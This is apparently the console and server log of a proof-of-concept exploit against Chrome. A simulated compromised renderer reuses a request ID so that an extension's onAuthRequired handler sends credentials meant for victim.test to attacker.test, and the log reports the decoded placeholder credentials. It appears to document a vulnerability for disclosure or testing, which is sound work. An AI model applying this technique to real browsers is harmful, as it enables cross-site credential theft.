[*] starting server.py
[*] launching chrome

================ server log ================
[server] listening on 0.0.0.0:18080
[server Thread-1 (process_request_thread)] GET host=page.test path=/poc.html
[server Thread-3 (process_request_thread)] GET host=page.test path=/favicon.ico
[server Thread-4 (process_request_thread)] GET host=victim.test path=/hang?dupreqid
[server Thread-4 (process_request_thread)] victim.test: hanging request /hang?dupreqid
[server Thread-5 (process_request_thread)] GET host=attacker.test path=/auth?dupreqid
[server Thread-5 (process_request_thread)] attacker.test: sending 401 challenge
[server Thread-5 (process_request_thread)] GET host=attacker.test path=/auth?dupreqid
[server Thread-5 (process_request_thread)] attacker.test received Authorization: Basic VklDVElNX1VTRVI6U0VDUkVUX0ZPUltodHRwOi8vdmljdGltLnRlc3Q6MTgwODAvaGFuZz9kdXByZXFpZF0=  decoded='VICTIM_USER:SECRET_FOR[http://victim.test:18080/hang?dupreqid]'
[server Thread-5 (process_request_thread)] ======================================================================
[server Thread-5 (process_request_thread)] EXPLOIT-SUCCEEDED: attacker.test received credentials the extension supplies only for victim.test
[server Thread-5 (process_request_thread)]   decoded credentials: 'VICTIM_USER:SECRET_FOR[http://victim.test:18080/hang?dupreqid]'
[server Thread-5 (process_request_thread)] ======================================================================

================ chrome log (filtered) ================
[1489:1489:0516/072553.004750:INFO:CONSOLE:10] "[ext] background loaded, registering onAuthRequired for victim.test", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (10)
[1581:1592:0516/072554.801000:ERROR:third_party/blink/renderer/platform/loader/fetch/url_loader/resource_request_sender.cc:288] [POC compromised renderer] forcing request_id=424242 for http://victim.test:18080/hang?dupreqid
[1581:1592:0516/072555.002222:ERROR:third_party/blink/renderer/platform/loader/fetch/url_loader/resource_request_sender.cc:288] [POC compromised renderer] forcing request_id=424242 for http://attacker.test:18080/auth?dupreqid
[1489:1489:0516/072555.008833:INFO:CONSOLE:14] "[ext] onAuthRequired fired: details.url=http://victim.test:18080/hang?dupreqid challenger={"host":"attacker.test","port":18080}", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (14)

[+] EXPLOIT-SUCCEEDED: attacker.test received credentials gated to victim.test